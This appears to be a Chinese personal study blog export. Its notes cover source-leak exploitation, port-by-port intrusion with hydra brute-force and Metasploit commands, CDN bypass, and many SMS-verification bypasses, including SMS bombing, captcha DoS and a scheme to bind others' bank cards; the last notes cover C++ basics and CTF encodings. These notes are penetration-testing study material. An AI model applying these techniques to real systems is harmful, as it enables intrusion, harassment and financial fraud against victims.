直接查看url路径添加/db/db.mdb下载文件\n\nJava源码泄露:WEB-INF/web.xml和/WEB-INF/classes/泄露\nWEB-INF是Java的WEB应用的安全目录,如果想在页面中直接访问其中的文件,必须通过web.xml文件对要访问的文件进行相应映射才能访问。\nWEB-INF 主要包含一下文件或目录:\nWEB-INF/web.xml : Web应用程序配置文件, 描述了servlet和其他的应用组件配置及命名规则.WEB-INF/database.properties : 数据库配置文件WEB-INF/classes/ : 一般用来存放Java类文件(.class)WEB-INF/lib/ : 用来存放打包好的库(.jar),放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件WEB-INF/src/ : 用来放源代码(.asp和.php等)\n\n通过找到 web.xml 文件,推断 class 文件的路径,最后直接 class 文件,再通过反编译 class 文件,得到网站源码。\n\n御剑扫目录\n\nDS_Store文件泄露\n.DS_Store是Mac下Finder用来保存如何展示 文件/文件夹 的数据文件,每个文件夹下对应一个。如果将.DS_Store上传部署到服务器,可能造成文件目录结构泄漏,特别是备份文件、源代码文件。\n漏洞利用工具:\ngithub项目地址:https://github.com/lijiejie/ds_store_exp\n用法示例:\nds_store_exp.py http://hd.zj.qq.com/themes/galaxyw/.DS_Store\n\nGitHub源码泄露\nhttps://github.com/search?q=smtp+user+@qq.com&type=code\n\nComposer.json泄露\n(PHP特性)\n\nhg源码泄露\nMercurial 是一种轻量级分布式版本控制系统,使用 hg init的时候会生成.hg。\n漏洞利用工具:dvcs-ripper\ngithub项目地址:https://github.com/kost/dvcs-ripper\n用法示例:\nrip-hg.pl -v -u http://www.example.com/.hg/\n\nCVS泄露\nCVS是一个C/S系统,多个开发人员通过一个中心版本控制系统来记录文件版本,从而达到保证文件同步的目的。主要是针对 CVS/Root以及CVS/Entries目录,直接就可以看到泄露的信息。\nhttp://url/CVS/Root 返回根信息http://url/CVS/Entries 返回所有文件的结构\n\n漏洞利用工具:dvcs-ripper\ngithub项目地址:https://github.com/kost/dvcs-ripper.git\n运行示例:\nrip-cvs.pl -v -u http://www.example.com/CVS/\n\nBazaar/bzr泄露\nbzr也是个版本控制工具, 虽然不是很热门, 但它也是多平台支持, 并且有不错的图形界面。\n运行示例:\nrip-bzr.pl -v -u http://www.example.com/.bzr/\n\n端口常见的端口以及入侵方式\n\n攻击方向21(FTP)默认端口:20(数据端口);21(控制端口);69(tftp小型文件传输协议)\n爆破:\n#anonymous匿名登陆#弱口令 用户名:FTP 密码:FTP或为空或爆破hydra -l FTP -P top10000.txt ftp://192.168.115.136\n\n嗅探:\nEttercap(内网神器)\nSRE实战 互联网时代守护先锋,助力企业售后服务体系运筹帷幄!一键直达领取阿里云限量特价优惠。\n或msf模块\nuse auxiliary/sniffer/psnuffle\n\n后门:\n在特定版本的vsftpd服务器中,被人恶意植入代码,当用户名以”:)”为结尾\n服务器就会在6200端口监听,并且能够执行任意代码(root)\nuse exploit/unix/ftp/vsftpd_234_backdoor\n\n22(SSH)爆破:\n#可以采用上边那种或以下这种写法hydra -l root -P top10000.txt 192.168.115.136 ssh -v \n\n53(DNS)内网使用Ettercap进行DNS劫持,钓鱼攻击\n公网的话要能控制运营商网关\n139(Smb)爆破:\nhydra -l root -P top10000.txt 192.168.115.136 smb -v\n\n远程代码执行:\nCVE-2015-0240\nCVE-2017-7494\n443(https)检测:\n心脏滴血在线检测\nnmap -sV -p 8443 --script ssl-heartbleed 192.168.115.136\n\n利用:\nuse auxiliary/scanner/ssl/openssl_heartbleed\n\n873(Rsync)未授权访问:\nrsync -avz ip::wwwroot/目录 /root/ #下载目标主机上的文件到本机root目录rsync -avz shell.php 192.168.3.xxx::wwwroot #上传文件\n\n2049(NFS)未授权访问\n列出导出文件夹:\nuse auxiliary/scanner/nfs/nfsmount\n\n6379(Redis)未授权访问:\n#没有密码,直接连接redis-cli -h 192.168.115.136#Redis命令>info #查看主机信息\n\nRedis未授权访问总结(1)\nRedis未授权访问总结(2)\n7001/7002(weblogic)反序列化:CVE-2017-3248\nWAF识别本文转载自微信公众号:潇湘信安。已获得原作者授权,转载请注明出处\n原文链接:https://mp.weixin.qq.com/s/3uUZKryCufQ_HcuMc8ZgQQ\nWAF识别工具WAFW00F\nWAF识别工具IDENTYWAF\nD盾\n云锁WAF\n\n云锁防火墙\n\nUPUPW安全防护\n宝塔网站防火墙\n网防G01\n护卫神\n网站安全狗\n智创防火墙\n360主机卫士或360webscan\n西数WTS-WAF\nNaxsi WAF\n腾讯云\n腾讯宙斯盾\n百度云\n华为云\n网宿云\n创宇盾\n玄武盾\n\n阿里云盾\n360网站卫士\n奇安信网站卫士\n安域云WAF\n铱讯WAF\n长亭SafeLine\n长亭雷池\n安恒明御WAF\nF5 BIG-IP\n\n\nMod_Security\nOpenRASP\ndotDefender\n红网云WAF\n云网盾\n负载均衡识别分为两大类:\n\n广域网负载均衡他的原理就是DNS,简单的方法就是使用DNS轮询来进行负载均衡。当你访问一个域名时,同一个域名会被解析成多个A记录解析到多个ip地址上。\n服务器负载均衡基于web的服务,经常使用的是nginx、apache这种应用层的负载均衡。当然也可以使用一些负载均衡设备去实现。\n\n识别工具:kali上的ldb\nldb www.baidu.com\n\n==※==基本上大站去扫描的话,他们要么是广域网的要么是服务器的负载均衡,即使扫描到同一个域名只解析到一个ip地址,这个地址对应的设备也基本是负载均衡设备,而不是他真实的服务器\n防火墙识别nmap\naFa攻防实验室防火墙识别(用处不大)\nAPP&小程序\nAppInfoScanner:内在提取资产\n资源提取:比如涉及到的图片、配置性文件\nXposed&JustTrustMe:解决加壳、有检测的防抓包、防调试的APP上的数据抓取\n\n小程序源码获取目录↓\n/data/data/com.tencent.mm/MicroMsg/{{一串32位的16进制字符串名文件夹}}/appbrand/pkg/\n\n有xxxxx.wxapkg类型的文件\n\n想要进入到上面这个目录,需要使用到第三方的文件管理器,且安卓需要取得root权限\n\n\nGitHub项目:wxappUnpacker\n进入脚本目录后\nnpm install esprimanpm install css-treenpm install cssbeautifynpm install vm2npm install uglify-esnpm install js-beautify\n\nnode wuWxapkg.js [-d] <files...> //files 就是你想要反编译的文件名,注意路径是反斜杠\\\n\n在微信开发者工具新增项目即可打开\n\n如果运行出现了点问题,可以试试点击开发者工具 详情 去掉 es6转es5 的勾,勾上不校验安全域名\n勾选了还是无法运行?那么请在详情里把基础版本库调低至1.8左右,再试试\n出现找不到某些文件的情况怎么办?我只能告诉:删!删!删!app.json里面,提示找不到那个文件,就将pages下注册的该页面语句暂时删除掉。删到可以运行为止\n\n","tags":["小迪"]},{"title":"04CDN绕过","url":"/2024/04/14/04CDN%E7%BB%95%E8%BF%87/","content":"CDN绕过CDN知识-工作原理及阻碍CDN配置-域名&区域&类型CDN绕过-靠谱十余种技战法CDN绑定-HOSTS绑定指向访问\n\n前置知识全称Content Delivery Network,即内容分发网络。\n使用户可就近取得所需内容,解决Internet网络拥挤的状况,提高用户访问网站的响应速度。\n关键技术主要有内容存储和分发技术\n传统访问:用户访问域名→解析服务器IP→访问目标主机\n普通CDN:用户访问域名→CDN节点→真实服务器IP→访问目标主机\n带WAF的CDN:用户访问域名→CDN节点(WAF)→真实服务器IP→访问目标主机\n\n判定标准:nslookup、各地ping\n绕过漏洞&遗留文件\nphpinfo.php探针\n其中_SERVER[“SERVER_ADDR”]有主机信息\n(服务器有多个网卡,获取到的可能是内网IP地址)\n\nSSRF漏洞(不止这个漏洞)\n服务器IP地址1开启web服务来记录日志\n网址1有一个SSRF漏洞(会接受用户的数据并利用服务器去请求)\n漏洞去请求地址1\n日志就会记录访问的IP→相当于访问的服务器IP,得到真实IP\n\nping或请求网站时,自己请求的,所以访问的是CDN节点(正向)\n对方自己的服务器去请求设置的资源,所以是真实IP(反向)\n\n只要漏洞有带有让服务器去请求你设置的资源,就满足条件(XXE、命令执行反弹shell等)\n\n历史DNS记录\nhttps://dnsdb.io/zh-cn/https://x.threatbook.cn/http://toolbar.netcraft.com/site_report?url=http://viewdns.info/http://www.17ce.com/https://community.riskiq.com/http://www.crimeflare.com/cfssl.html\n\n子域名查询操作可能会加速www但未加速其他子域名\nOneForAll子域名挖掘\nsubDomainsBrute\nSublist3r\n接口查询国外访问小众国家可能不会设置对应的CDN\n国外CDN测试\n查找网站ip(可以互相验证,不一定确定对)\n主动邮件配合备案邮件主动发给你(反向)\n邮件-显示原文-“Received: from”\n全网扫描FuckCDNFuckCDN\n\n找到真实ip后hosts绑定真实ip,后续安全测试即可全部指向真实ip\n{示例ip} {对应域名}\n\n\n\nWindows:C:\\Windows\\System32\\drivers\\etc\\hosts\nLinux:/etc/hosts\n\n\n通过信息收集,缩小扫描范围,确定一个相对小的IP和端口范围(中国?AS号?B段?等)\n通过http指纹特征和keyword等做综合判断。可使用工具如下:\nhttps://github.com/zmap/zgrab/http://www.ipdeny.com/ipblocks/\n\n\nzgrab是基于zmap无状态扫描的应用层扫描器,可以自定义数据包,以及ip、domain之间的关联。可用于快速指纹识别爆破等场景。\n利用Zgrab绕CDN找真实IP - Levy Hsu\n\nZmap大法\n简单获取CDN背后网站的真实IP - 安全客 - 有思想的安全新媒体\n\n\n查询Https证书https://censys.io/\n\n这个网址会将互联网所有的ip进行扫面和连接,以及证书探测。若目标站点有https证书,并且默认虚拟主机配了https证书,我们就可以找所有目标站点是该https证书的站点。\n443.https.tls.certificate.parsed.extensions.subject_alt_name.dns_names:www.xxx.com\n\n","tags":["小迪"]},{"title":"05PHP个人博客","url":"/2024/04/14/05PHP%E4%B8%AA%E4%BA%BA%E5%8D%9A%E5%AE%A2/","content":"文件操作&上传&下载&删除&读取&写入等\n文件上传类:任意文件上传\n\n\n代码自主编写\n编辑器引用\n\n\n文件下载类:任意文件下载\n\n\n直连URL访问\n传参头部修改\n\n\n文件删除类:任意文件删除\n\n\n文件删除\n文件夹删除\n\n\n文件内容操作类:任意文件读取&写入\n\n\n文件读取\n文件写入\n\n\n文件包含——任意文件包含\n\n\n本地文件包含\n远程文件包含\n\n\nWeb漏洞核心\n\n\n可控变量\n特定函数\n\n==站在开发角度看问题→漏洞==\n输入输出类&留言板&访问IP&UA头来源\nPHP-全局变量$_SERVER\nMySQL-插入语法INSERT\n输入输出-XSS&反射&存储\n安全问题-XSS跨站&CSRF等\n\n通过userAgent判断设备信息 userAgent常用大全const ua = window.navigator.userAgent || window.navigator.vendor || window.opera// 是否为智能设备export const IS_SMART_DEVICE = (/iPhone|iPod|iPad|Silk|Android|BlackBerry|Opera Mini|IEMobile/).test(ua)// 是否为 IOS 浏览器export const IS_IOS_BROWSER = (/iPhone|iPod|iPad/).test(ua)// 是否为 Android 浏览器export const IS_ANDROID_BROWSER = (/Android/).test(ua)// PC浏览器, 非智能设备export const IS_NOT_SMART_DEVICE = !IS_SMART_DEVICE// 微信内export const IS_WECHAT_APP = (/MicroMessenger/).test(ua)// APP 内置浏览器 这个是我们跟客服端定义的一个字段 因为有些页面要作为webview嵌套 客户端那边可以在userAgent后面添加参数 可扩展性比较高 也可以加上当前APP版本号export const IS_APP_WEBVIEW = (/Enjoyrv/).test(ua)// iPhone 内置浏览器export const IS_IOS_APP = IS_APP_WEBVIEW && (/iPhone|iPod|iPad/).test(ua)// Android 内置浏览器export const IS_ANDROID_APP = IS_APP_WEBVIEW && (/Android/).test(ua) && (/Enjoyrv/).test(ua)// 智能设备, 但非APP内置浏览器export const IS_SMART_DEVICE_BROWSER_ONLY = IS_SMART_DEVICE && !IS_APP_WEBVIEW// 访问设备来源export const getDeviceType = function () { if (IS_IOS_APP) { return 'APP_IOS' } if (IS_ANDROID_APP) { return 'APP_ANDROID' } if (IS_WECHAT_APP && IS_ANDROID_BROWSER) { return 'WECHAT_APP_ANDROID' } if (IS_WECHAT_APP && IS_IOS_BROWSER) { return 'WECHAT_APP_IOS' } if (IS_NOT_SMART_DEVICE) { return 'PC_BROWSER' } if (IS_IOS_BROWSER) { return 'IOS_BROWSER' } if (IS_ANDROID_BROWSER) { return 'ANDROID_BROWSER' } if (IS_SMART_DEVICE) { return 'UNKNOWN_SMART_DEVICE' } return ''}\n\n登录验证&Cookie&Session&验证码安全\nCookie:存储到客户端浏览器内\n\nCookie修改、伪造、盗取\n\nSession:存储到服务端服务器内\n\n会话劫持(Session劫持)\n验证码\n验证码可爆破\n\n对于验证码位数4-6且没有次数限制和时间限制,或者时间过程我们均可进行验证码的爆破\n\n爆破后根据长度回显来判断哪一个验证码是正确的\n\n验证码回显\n\n验证码存在于请求包或响应包里\n\n\n==验证码复用==\n\n使用的验证码没有进行销毁处理,能够一直使用\n\nburp右键发送到repeater模块,两次点击go观察返回包若回显信息一样则证明可复用\n从安全角度讲,每次登录验证码都要变\n\n每次登录验证码都变化的情况可以使用验证码识别插件\n\n可以写在一些安全的修复方法上,这也是能够得到一定的认可的\n\n验证码可控\n\n验证长度或内容可以被我们进行修改\n\nphone=18888888888&code=6phone=18888888888&code=zyzm\n\n例如上图抓包前面是电话号码,后面code=6,将6改为4,我们可以收到4位数验证码\n或此处就是它的验证码,可以将这里进行修改,修改为别的接着发送,我们就能收到什么样的验证码\n\n修改返回包\n\n验证只在本地验证,通过修改返回包进行绕过\n\nfalse改为success、true,400改为200,0改为1或-1\n\n双写导致验证码转发\n\n加个逗号后面接上需要转发的手机号,因为开发可能使用数组就导致同时把验证码发给两个手机号\nmobi=18888888888,17777777777mobi=18888888888&mobi=17777777777\n\n\n随意验证码\n\n填写任意满足位数需求的验证码都能完成登录\n原因:有验证码功能模块,但验证模块与业务功能没有什么关联性,即无论输入什么或者不输入验证码都判断验证码安全\n\n万能验证码\n\n由于开发的失误,上线测试时设置了万能验证码方便登录调试,但上线后却没有进行删除导致万能验证码的存在\n\n验证码可以使用0000/8888/000000/888888等一系列便于记忆的相同数字进行尝试\n\n验证码为空\n\n将验证码字段修改为空或者null,即可进行绕过\nmobil=18888888888&code=mobil=18888888888&code=nullmobil=18888888888&code=truemobil=18888888888&code=1\n\n\n绑定关系存在缺陷\n\n只验证了验证码,没有做账号绑定\n\nmobil=18888888888 收到验证码mobil=19999999999 收到验证码123456mobil=18888888888&code=123456\n\n\n特殊字符绕过\n\n手机号码前后加空格,86,086,0086,+86,0,00,/r,/n以及特殊符号等\n或者在手机号码最后多添加一位数字,因为12位经过短信网关取前11位,导致短信轰炸\nmobi=8618888888888mobi= 18888888888 mobi=0018888888888mobi=/r18888888888\n\n\n特殊的绕过点\n\n有些验证码是通过cookie中的PHPSESSID来判断的\n修改PHPSESSID,成功绕过了验证码限制\n\n此处说验证码必须存在,但是修改PHPSESSID后\n\n可绕过验证码的判定,从而实现账号密码的枚举\n\nip的伪造绕过\n\n程序只对访问者的错误次数与ip进行绑定,通过XXF伪造ip从而进行绕过限制\nX-Forwarded-For:127.0.0.1X-Remote-IP:127.0.0.1X-Client-IP:127.0.0.1X-Real-IP:127.0.0.1Client-IP:127.0.0.1X-Originating-IP:127.0.0.1X-Remote-Addr;127.0.0.1 \n\n\n删除Cookie绕过\n\n虽然有验证码,但是只要抓包后把Cookie去掉即可,之后就再也没有验证码提示\n\n\n并发验证码\n\n通过并发验证码请求数据包,导致可以短时间内收到大量短信,从而实现短信轰炸\n\n验证码DOS\n\n原理:图形验证码的生成大多都基于复杂的图像生成算法,本来就很消耗CPU、GPU性能,此时攻击者再把尺寸增大,就会成倍消耗性能,如果大到一定程度再结合高并发,服务器很有可能瞬间崩溃,也就造成了DOS攻击,修改数据包验证码的长宽,如果响应字节变大则存在该漏洞\n接口:https://www.xxx.com/xxx?width=162&height=162\n\n如果没有参数可以自己添加尝试\nheight=1111h=1111size=1111margin=1111\n\n\n不仅仅是验证码可以出现,该漏洞二维码也是可以的\n\n\n \n\n时间戳绕过\n\n很多发送验证码的时候都会出现类似time参数,对于这类参数大多都是使用时间戳来验证,只需将时间提前即可绕过,比如抓到的包时间是08:09,直接改为08:20,它会比时间戳多出一两个数字\n时间戳在线转换地址\n\n\n验证码前端验证\n\n验证码的检测是由前端进行的,可以通过禁用js的方式从而实现绕过\n验证码由客户端js生成并且仅仅在客户端用js验证,通过抓包看是否有验证码字段,或者是关闭js看能否通过验证\n\n验证码后端验证\n\n端验证码是由后端生成的验证码。当用户打开登录页面后,浏览器会向服务器发送请求并携带生成的令牌token,服务器随机生成验证码并将验证码和token对应关系存储在Redis缓存中,之后会在前端动态的生成一张验证码图片。当用户输入验证码并点击登录的时候,服务器会在Redis缓存中找到该浏览器的token对应的验证码,验证验证码是否正确,如果正确,接下来开始比较用户名和密码\n\n可看到回显数据包中也有一个336\n\n比如这是第一次验证码的返回包是336,下次验证码请求时336仍会出现在这里。所以只需要获取上一次验证码的值,然后拼接在这一次的值中可实现账号密码的爆破\n\n语音轰炸\n\n通过不断重放数据包或并发该数据包,从而实现语音轰炸\n\n补充并发轰炸:同时并发数据包,若存在限制,留意返回时间,采用单线程,调节间断时间,并发发包\n存在检测:若网页存在检测无法抓包,可以换手机抓包进行绕过,接着将数据包发送给电脑进行测试\n邮箱绕过:比如email=xxx@qq.com,当次数达到限制时,将字母修改为大写:email=XXX@Qq.com,即可绕过\n思路拓展:任意盗刷别人银行卡\n仅在绑卡时知道卡号,然后把手机号替换成自己的号码去接收验证码,再去绑定别人的卡,小额致富不需要知道银行卡密码,只需要自己设置的密码就行(参考vx支付的时候使用银行卡)\n\n抓包替换手机号1.银行卡=123456&手机号=123****45672.银行卡=123456&手机号=12345678910抓包替换银行卡1.银行卡=123456&手机号=123****45671.银行卡=789987&手机号=123****4567\n\n拓展情境:\n\n输入卡号后会显示预留的电话号码,让输入正确的电话号码后同意协议并验证,此时输入任意一个号码,会提示号码前三位和后四位,爆破中间的四位,成功后可让别人的银行卡绑定在自己的账号上面\nJS-Ajax&前端逻辑&购物&登录&上传\nJS前端验证-文件上传\nJS-Ajax传递-登录-状态\nJS-Ajax传递-购物-参数\n\nTP框架&路由访问&安全写法&历史漏洞\n框架\nThinkPHP\nLaravel\nyii\n\n\n\nThinkPHP-URL访问形式与对应文件首页会指向application/index/controller/Index.php\nThinkPHP5.0典型URL访问规则是\nhttp://127.0.0.1/index.php(或者其他应用入口文件)/模块/控制器/操作/[参数名/\n\nStruggle.php(.\\application\\index\\controller)<?phpnamespace app\\index\\controller;use think\\Controller;use think\\Db;class Struggle extends Controller{ public function x(){ echo "成功访问Struggle!"; }}\n\n1.http://127.0.0.1/index.php/index/struggle/x2.http://127.0.0.1/index.php?s=index/struggle/x3.http://127.0.0.1/index.php/index/struggle/x.html(具体要看配置)4.http://127.0.0.1/index.php?m=index&c=index&a=index(3.x的写法)(MVC开发:m代表model,v代表view,c代表controller,a代表方法名)---成功访问Struggle!\n\n\nStruggle.php(.\\application\\index\\controller)<?phpnamespace app\\index\\controller;use think\\Controller;use think\\Db;class Struggle extends Controller{ public function x(){ echo "成功访问Struggle!"; } public function y(){ //1 $x=$_GET['x']; echo $x; //2 $x=input('x'); echo $x; }}\n\n1:http://127.0.0.1/index.php/index/struggle/y?x=12:http://127.0.0.1/index.php/index/struggle/y/x/1\n\n application中创建yes文件夹,复制application的index中的public到yes\nLove.php(.\\application\\yes\\controller)<?phpnamespace app\\yes\\controller;use think\\Controller;use think\\Db;class Love extends Controller{ public function x(){ echo "成功访问Struggle!"; } public function xxx(){ $x=input('x'); echo $x; }}\n\nhttp://127.0.0.1/index.php/yes/love/xxx?x=1\n\n\nThinkPHP5配置文件\n\n.\\application\\config.php.\\application\\database.php.\\thinkphp\\tpl\\base.php//看TP版本\n\n\n实例\n\nAdminLTE后台管理系统\nlayui后台管理系统\nthinkcmf\nH-ui.admin后台管理系统\ntpshop\nFastAdmin\neyoucms\nLarryCMS后台管理系统\ntpadmin后台管理系统\nsnake后台管理系统\nThinkSNS\nDolphinPHP后台管理系统\nThinkSNS\nDolphinPHP后台管理系统\nWeMall商城系统\nCLTPHP\n齐博CMS\nDSMALL\nYFCMF\nHisiPHP后台管理系统\nTplay后台管理系统\nlyadmin后台管理系统\nhaoid后台管理系统\n\n用的框架找漏洞\n\n看写法\n看历史漏洞\n\n\ngithub.com/Mochazz/ThinkPHP-VulnTP历史漏洞坤舆-seebug-thinkphp\n","tags":["小迪"]},{"title":"C++","url":"/2024/04/14/C++/","content":"黑马|C++\n字符字符型char ch='a'\n\n字符串C风格:\nchar str[]="hello"\n\nC++风格:\n#include <string>string str="hello"\n\n※分文件编写\n创建后缀名为.h的头文件\n创建后缀名为.cpp的源文件\n头文件中写函数的声明\n源文件中写函数的定义\n\n//swap.h头文件#include<iostream>using namespace std;//函数声明void swap(int a , int b);\n\n//swap.cpp文件#include"swap.h"void swap(int a , int b){\t...}\n\n//main.cpp文件#include"swap.h"int main(){\t...}\n\n指针在32位操作系统下占用4个字节,64位下占用8个字节(和数据类型无关!)\n空指针指针变量指向内存中编号为0的空间\n\n用途:初始化指针变量\n注意:空指针指向的内存不可访问!\n\nint * p = NULL;\n\n内存编号为0~255为系统占用内存,不允许用户访问\n野指针指针变量指向非法的内存空间\nint * p = (int *)0×1100;\n\nconst修饰指针三种情况:\nint a=10;int b=10;\n\n\n修饰指针—常量指针\n\n特点:指针指向可修改,但指针指向的值不可修改\nconst int *p=&a;\n\n*p=20;//×*p=&b;//√(指向可以改)\n\n\n修饰常量—指针常量(常指针)\n\n特点:指针指向不可修改,指向的值可修改\nint * const p=&a;\n\n*p=20;//√*p=&b;//×\n\n\n既修饰指针,又修饰常量\n\n特点:指针指向和指向的值都不可修改\nconst int * const p=&a;\n\n*p=20;//×*p=&b;//×\n\n\n技巧:看const右侧紧跟着的是指针还是常量,是指针就是常量指针,是常量就是指针常量\n\n结构体==用户自定义的数据类型==,允许存储不同的数据类型\n定义&使用语法:struct 结构体名 { 结构体成员列表 };\n通过结构体创建变量的三种方式:\n\nstruct 结构体名 变量名\nstruct 结构体名 变量名={成员1值,成员2值…}\n定义结构体时顺便创建变量\n\n\n定义结构体变量时关键字struct不可省略\n创建结构体变量时关键字struct可省略\n\nstruct student { ... }int main(){ (struct) student stu1={ ... };}\n\n结构体数组将自定义的结构体放到数组中,方便维护\n语法:struct 结构体名 数组名[元素个数]={ {},{},… {}}\nstruct student arr[3]={ {"张三",18,80}, { ... }, { ... }}\n\n给数组中的元素赋值\narr[2].name="赵六";\n\n结构体指针通过指针访问结构体中的成员\n\n利用操作符->可以通过结构体指针访问结构体属性\n\nstruct student s={ };struct *p=&s;cout<<"姓名:"<<p->name<<endl;\n\n内存分区模型\nC++中在程序运行前分为全局区和代码区\n代码区的特点是共享和只读\n全局区中存放全局变量、静态变量、常量\n常量区中存放const修饰的全局常量和字符串常量\n\nnew在堆区创建整形数据\nnew返回的是该数据类型的指针\n引用语法:数据类型 &别名 = 原名\n\n注意事项:\n\n引用必须初始化,且初始化后不可改变\n\n\n引用做函数参数作用:函数传参时可利用引用的技术让形参修饰实参\n优点:简化指针修改实参\n//三种交换值方法:值传递、地址传递、引用传递void swap(int &a,int &b){ int temp=a; a=b; b=temp;}int main(){ int a=10; int b=20; swap(a,b); cout<<"a:"<<a<<"b:"<<b<<endl; return 0;}//a=20,b=10\n\n\n通过引用参数产生的效果同地址传递是一样的。引用语法更清楚简单。\n\n*引用做函数返回值引用可作为函数的返回值存在\n不要返回局部变量的引用\n函数的调用可作为左值\nint& test(){ static int a=10; return a;}int main(){ int &ref=test(); cout<<"ref:"<<ref<<endl; test()=100 cout<<"赋值后ref:"<<ref<<endl;}//ref=10//ref=100\n\n如果函数的返回值是引用,这个函数调用可作为左值\n函数函数默认参数C++中函数才形参列表中形参是可以有默认值的\n语法:返回值类型 函数名(参数=默认值){}\n\n注意事项\n\n若某个位置已有默认参数,那么从该位置往后,从左到右都必须有默认值\n\n函数声明和实现只能有一个默认参数\n\n\n\n函数占位参数C++中函数形参列表里可以有占位参数,用来做占位,调用函数时必须填补该位置\n语法:返回值类型 函数名(数据类型){}\n//函数占位参数,占位参数也可有默认参数void fun(int a,int){}int main(){ fun(10,10);//占位参数必须填补}\n\n※函数重载满足条件:\n\n同一作用域下\n函数名称相同\n函数参数类型不同 或者个数不同 或者顺序不同\n\n注意事项\n函数的返回值不可以作为函数重载的条件\n\nvoid fun(int a,int b){}int fun(int a,int b){}//×,两者仅返回值(int/void)不同\n\n\n引用作为重载条件\n\nvoid fun(int &a){}void fun(const int &a){}int main(){ int a=10; fun(a);//调用无const版本 fun(10);//调用有const}\n\n\n函数重载避免默认参数\n\n类和对象\n\n\n权限\n访问权限\n\n\n\n公共权限public\n类内可以访问 类外可以访问\n\n\n保护权限protected\n类内可以访问 类外不可访问 子类可以访问父类中的保护内容\n\n\n私有权限private\n类内可以访问 类外不可访问 子类不可访问父类中的保护内容\n\n\n构造函数&析构函数构造函数语法:类名(){}\n\n无返回值 也不写void\n函数名称与类名相同\n可以有参数,即可以发生重载\n程序调用对象时自动调用构造,无需手动调用,且只会调用一次\n\n析构函数语法:~类名(){}\n\n无返回值 也不写void\n不可以有参数,因此不可发生重载\n\n构造函数的分类及调用分类两种分类方式:\n\n按参数分:有参构造 无参构造(默认构造)\n按类型分:普通构造 拷贝构造\n\n//拷贝构造函数Person(const Person &p){}\n\n调用三种调用方式:\n\n括号法\n显示法\n隐式转换法\n\nvoid test(){ //括号法 Person p1;//默认构造函数调用[不要加()!编译器会认为是一个函数的声明] Person p2(10);//有参构造函数 Person p3(p2); //显示法 Person p1; Person p2=Person(10);//有参构造 Person p2=Person(p2);//拷贝构造 //隐式转换法 Person p4=10;//相当于Person p4=Person(10); Person p4=p4;//拷贝构造}\n\n\nPerson(10);//匿名对象,特点:当前执行结束后,系统会立即回收掉匿名对象\n注意:不要利用拷贝构造函数,初始化匿名对象,编译器会认为Person(p3) === Person p3//对象的声明\n\n拷贝构造函数调用时机\n使用一个已经创建完毕的对象来初始化一个对象\n值传递的方式给函数参数传值\n以值的方式返回局部对象\n\n构造函数调用规则默认情况下,C++编译器至少给一个类添加3个函数\n\n默认构造函数(无参,函数体为空)\n默认析构函数(无参,函数体为空)\n默认拷贝析构函数,对属性进行值拷贝\n\n调用规则:\n\n若用户定义有参构造函数,C++不再提供默认无参构造,但会提供默认拷贝构造\n若用户定义拷贝构造函数,C++不再提供其他构造函数\n\n※深拷贝与浅拷贝\n面试经典问题,常见的一个坑\n\n浅拷贝:简单的赋值拷贝操作\n深拷贝:在堆区重新申请空间,进行拷贝操作\n浅拷贝带来的问题:堆区的内存重复释放(利用深拷贝解决\n总结:若属性有在堆区开辟的,一定要自己提供拷贝构造函数,防止浅拷贝带来的问题\n初始化列表Person(int a,int b,int c):a(a),b(b),c(c){ ... }int main(){Person p;}\n\n类对象作为类成员当其他类对象作为本类成员(对象成员),先调用对象成员的构造,再调用本类的构造,析构的顺序与构造相反\n静态成员在成员变量和成员函数前加上关键字static\n静态成员变量\n所有对象共享同一份数据\n在编译阶段分配内存\n类内声明,类外初始化\n\nclass person{public: static int a;};int person::a=1;\n\n静态成员变量不属于某个对象上,所有对象都共享同一份数据\n因此静态成员变量有两种访问方式\n\n通过对象进行访问\n\nperson p;cout<<p.a<<endl;\n\n\n通过类名进行访问\n\ncout<<person::a<<endl;\n\n\n有访问权限,私有权限访问不到\n\n静态成员函数\n所有对象共享同一个函数\n静态成员函数==只能==访问静态成员变量\n\n同上有两种访问方式,且有访问权限\n空对象占用内存空间为:1\n\nC++编译器会给每个空对象分配一个字节空间,是为了区分空对象占内存的位置\n\nthis指针本质:指针常量\n指向被调用的成员函数所属的对象\n是隐含每一个非静态成员函数内的一种指针\n用途:\n\n当形参和成员变量同名时,可用this指针来区分\n在类的非静态成员函数中返回对象本身,可使用return *this\n\nconst修饰成员函数常函数\n成员函数后加const后我们称为这个函数为常函数\n常函数内不可以修改成员属性\n成员属性声明时加关键字mutable后,在常函数中依然可以修改\n\n常对象\n声明对象前加const称该对象为常对象\n常对象只能调用常函数\n\n排序算法冒泡排序\n比较相邻的元素,若前一个比后一个大,交换他们两个\n对每对相邻元素做同样工作,执行完毕后找出第一个最大值\n重复以上步骤,每次比较次数-1,直到无需比较\n\n\n外层循环:排序总轮数=元素个数-1\n内层循环:每轮对比数=元素个数-排序轮数-1\n\n杂项\n数组个数计算方法:\n\nsizeof(arr)/sizeof(arr[0])-1\n\n\n随机数生成\n\n#include<ctime>//添加随机数种子(利用当前系统时间生成随机数,防止每次随机数都一样)srand((unsighed int)time(NULL));int num=rand()%100//生成0~99随机数\n\nvisual studio中Ctrl+D快速复制当前一行\n值传递时,函数形参发生改变,并不会影响实参\n","tags":["技术栈"]},{"title":"CTF常见编码","url":"/2024/04/14/CTF%E5%B8%B8%E8%A7%81%E7%BC%96%E7%A0%81/","content":"补充计算机中的数据都是按字节存储。一个字节(Byte)由8个二进制位组成(bit)。(组成范围是0~255(2^8^)) 一个字节一共可以用来表示256种不同的状态,每一个状态对应一个符号,就是256个符号,从00000000到11111111。\nASCII编码ASCII 码是对英语字符与二进制位之间的关系,做了统一规定。基本的 ASCII 字符集共有 128 个字符,其中有 96 个可打印字符,包括常用的字母、数字、标点符号等。如:\n空格SPACE 是32(二进制:00100000);数字0是48(二进制:00110000);大写字母A是65(二进制:01000001)\n另外还有 32 